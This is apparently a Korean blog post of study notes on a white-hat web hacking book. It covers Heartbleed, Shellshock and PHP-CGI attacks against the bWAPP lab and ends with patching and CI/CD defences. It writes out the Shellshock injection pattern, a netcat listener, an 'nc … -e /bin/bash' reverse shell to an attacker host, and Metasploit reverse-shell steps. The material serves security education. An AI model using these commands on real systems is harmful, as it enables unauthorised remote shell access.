상세 컨텐츠

본문 제목

Step12. 알려진 취약점을 위한 공격

화이트 해커를 위한 웹 해킹의 기술

by 메리_99 2021. 3. 9. 23:21

본문

반응형

Step12. 알려진 취약점을 위한 공격

  • 최근 개발 환경 추세에는 수많은 개발 프로젝트들이 오픈소스 라이브러리를 직간접적으로 사용한다.

  • 오픈소스에서 발생하는 대부분의 취약점은 CVE 데이터베이스를 통해 공개된다.

  • 공격자가 CVE 데이터베이스를 통해 알려진 취약점에 대한 정보를 쉽게 찾고 공격에 사용한다.

  • 따라서 공격 대상이나 공격 대상이 사용하는 라이브러리 소프트웨어의 버전 정보만 알면 쉽게 어떤 취약점이 있는지 알 수 있기 때문에, 알려진 취약점을 잘 패치하는 것은 필수적인 일이다.

하트블리드 취약점 공격 실습

  • 원래 HTTPS로 구현된 웹 사이트들은 안전하다고 알려져 있지만, 하트블리드 취약점이 있으면 민감한 정보가 노출될 수 있다.

  • HTTPS 프로토콜의 근간이 되는 SSL/TLS 프로토콜을 구현한 OpenSSL 라이브러리 중 1.0.1 - 1.01f 버전에 존재하는 취약점이다.

  • 하트블리드 취약점을 이용하면 공격자는 웹 서버 호스트의 메모리를 읽을 수 있게 되어 사용자의 로그인 정보 및 그밖에 노출되면 안 되는 민감한 정보들을 탈취할 수 있게 된다.

  • 먼저, 하트블리드 취약점이 있는 웹페이지에 접속한다.

bWAPP의 하트블리드 웹페이지

  • 위는 웹 서버가 취약한 OpenSSL 버전을 사용하고 있으니, 8443포트로 로그인하고 공격 스크립트를 수행하라고 하는데, 여기서 8443 포트는 HTTPS 프로토콜로 접속해야 하는 포트이다.

  • 따라서 모든 통신의 내용이 암호화되어 전송되기 때문에 통신 내용이 노출되지 않아야 정상이다.

  • 일단 공격을 위해서 attack script를 클릭해 공격 스크립트를 다운로드한다.

공격 스크립트 다운

  • 해당 파일의 위치를 확인한다.

파일의 위치 확인

  • 8443포트로8443 포트로 접속한다.(https://)

8443포트로 접속

  • 위와 같이 인증서 에러가 발생할 수 있는데, 밑의 화면에 add Exception에서 해당 웹 주소를 추가해준다.

인증서 신뢰 방법

  • 다음과 같이 로그인 시도를 한다.(8443 포트 확인)

8443 포트로 접속한 bWAPP 로그인 화면

  • 터미널에서 공격 스크립트를 실행한다.(필자는 간편하게 보기 위해 tee 옵션을 추가해 텍스트 파일로 저장했다.)

공격 스크립트 실행

  • 밑의 화면과 같이 세션 정보가 출력된다.

bleed.txt의 내용

쉘 쇼크 취약점 공격과 리버스 쉘 실습

  • 쉘 쇼크는쉘 쇼크는 bash 쉘의 취약점이다.

  • 쉘 쇼크는 시스템 환경변수에 다음과 같이 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점이다.

  • Ex) () { :;}; <command>

쉘 쇼크 취약점
칼리리눅스는 쉘쇼크에 취약하지 않다.

  • 먼저, shellshock 취약점이 있는 웹 페이지에 접속한다.

쉘 쇼크 실습 페이지

 

  • 위의 화면에서 마지막에 표시된 두 줄은 실습 페이지의 원래 내용이 아니라, 실습 페이지에서 <iframe>을 통해 요청한 shellshock.sh 쉘 스크립트의 실행 결과로 출력된 것이다.

버프스위트를 통해 본 웹 페이지의 요청 메시지

  • 이때, 쉘 쇼크의 취약점이 존재하므로, shellshock.sh를 요청하는 요청 헤더에다가 쉘 쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있게 된다.

버프 스위트의 리피터 기능을 통해 리퍼러 헤더를 수정
칼리리눅스에서 명령어를 통해 4000포트를 리스닝한다.

  • 위와 같이 연결이 되면 명령어를 통해 원격 호스트에 파이썬이 설치되어 있으면 다음 명령어를 사용하여 프롬프트가 표시되는 쉘로 업그레이드한다.

쉘쇼크 공격으로 리버스 쉘 침투 성공

  • www-data라는 사용자 권한을 흭득, root 권한이 아니기 때문에 제한이 있지만 실제 공격 시나리오에서는 루트 권한을 획득하기 위한 권한 상승 공격으로 이어지게 된다.

    • 쉘 쇼크 공격은 명령어 실행이 가능한 공격이다.

    • 쉘을 획득하는 기법 : 바인드 쉘과 리버스 쉘

    • 바인드 쉘 : 공격자가 서버 쪽에서 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격 방법. 즉, 공격자 호스트가 클라이언트, 침투에 성공한 공격 대상이 서버가 된다.

    • 리버스 쉘 : 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 기법. 즉 공격자 호스트가 서버, 침투에 성공한 공격 대상이 클라이언트가 된다. (주로 방화벽을 우회하기 위한 용도로 사용하는 기법)

    • nc : 네트워크 통신을 위한 프로그램, 클라이언트 모드, 서버 모드 양쪽 모두로 구동.

      • ex) nc -lvnp <포트번호>

      • -l : nc를 리스닝 모드로 동작시킨다.

      • -v : nc 실행 중 발생하는 메시지를 출력한다. 접속이 들어오면 그 내용을 알려준다.

      • -n : 호스트 주소나 포트를 숫자 형태로 표시한다.

      • -p : 리스닝 모드에서 사용할 포트 번호를 지정한다.

    • 원격에서는 nc <공격자 호스트 IP 주소><포트 번호> -e /bin/bash로 nc 명령어 뒤에 지정된 IP 주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행한 명령어를 지정하는 옵션이다. /bin/bash를 지정하게 되면 bash 쉘이 생성된다.

메타스플로잇을 활용한 PHP-CGI 취약점 공격

  • 소스코드가 노출되거나 공격자가 임의의 코드를 실행할 수 있는 취약점이 존재한다.

  • 이 취약점은 요청 URI의 쿼리 스트링 부분을 잘못 처리함으로써 발생한다.

소스 코드 노출

PHP-CGI 취약점으로 소스코드가 노출

  • 소스코드가 노출되면 그 웹 애플리케이션의 내부 로직이 드러나게 되고, 공격자가 이를 분석하여 이차 공격을 시도할 수 있게 된다.

메타스플로잇을 이용한 공격

  • 메타스플로잇은 종합 익스플로잇 프레임워크이며, 비단 웹 모의해킹뿐만 아니라 시스템 해킹을 비롯한 모든 분야의 모의해킹을 수행하는 데 사용되는 소프트웨어이다.

메타스플로잇 실행 아이콘

공격 과정

  • search 명령어로 공격 모듈을 검색한다.

공격 모듈 검색

  • use 명령어로 공격 모듈 설정 단계로 진입한다.

공격 모듈 설정 단계 진입

  • show options 명령어로 옵션을 확인하고 set 명령어로 필요한 옵션을 설정한다.

옵션 확인

  • 위에서 RHOST는 공격 대상의 IP 주소를 설정하는 옵션으로 bWAPP의 주소를 설정

rhost 설정

  • 또한 TARGETURI 옵션에서 취약점이 존재하는 경로를 설정

TARGETURL 설정

  • 공격에 성공하게 되면 실행할 페이로드를 설정한다. 일반적으로 바인드 쉘이나 리버스 쉘 등 쉘을 흭득하는 페이로드로 설정한다.

페이로드 설정 옵션
페이로드 설정

  • 일반적인 리버스 쉘의 경우 LHOST와 LPOST의 옵션을 설정하도록 되어 있는데, 이는 리버스 쉘에서 접속을 기다리게 될 로컬 호스트의 IP 주소와 포트이다.

lhost 설정

  • run 명령어를 실행하여 공격을 수행한다.

공격 수행

  • 공격에 성공하면 페이로드가 실행되고 이후 포스트 익스플로잇 과정을 수행한다.

  • shell 명령어를 통해 피해 시스템으로 로그인을 해준다.

피해 시스템 로그인

  • python -c 'import pty; pty.spawn("/bin/bash");' 명령어를 통해 쉘을 획득한다.

쉘 흭득 성공

알려진 취약점 공격 대응

  • 취약점 소프트웨어를 최신 버전으로 업데이트함으로써 대응할 수 있다.

  • 시스템을 항상 최신 업데이트 상태로 유지한다.

  • 오픈 소스를 사용하는 경우 각 오픈소스에 대한 관리가 필요하다.(분석, 나열, 모니터링, 최신 패치 적용 프로세스)

  • 알려진 취약점을 확인할 수 있는 소프트웨어를 CI/CD에 포함시켜 개발 프로세스 자동화를 구축한다.

    • CI/CD(Continuous Integration, Continuous Delivery) : 지속적 통합/지속적 배포의 과정으로 개발, 테스트 제품 릴리즈 단계와 같은 소프트웨어 개발에 필요한 단계를 통합하여 관리하는 개발 프로세스

  • 개발과 운영을 통합한 데브옵스 과정에서부터 보안을 적용한다.

    • 소프트웨어의 보안성을 저비용 고효율로 확보할 수 있다


위 글은 '화이트 해커를 위한 웹 해킹의 기술 최봉환 저'를 공부하며 작성한 글입니다.
728x90

관련글 더보기

댓글 영역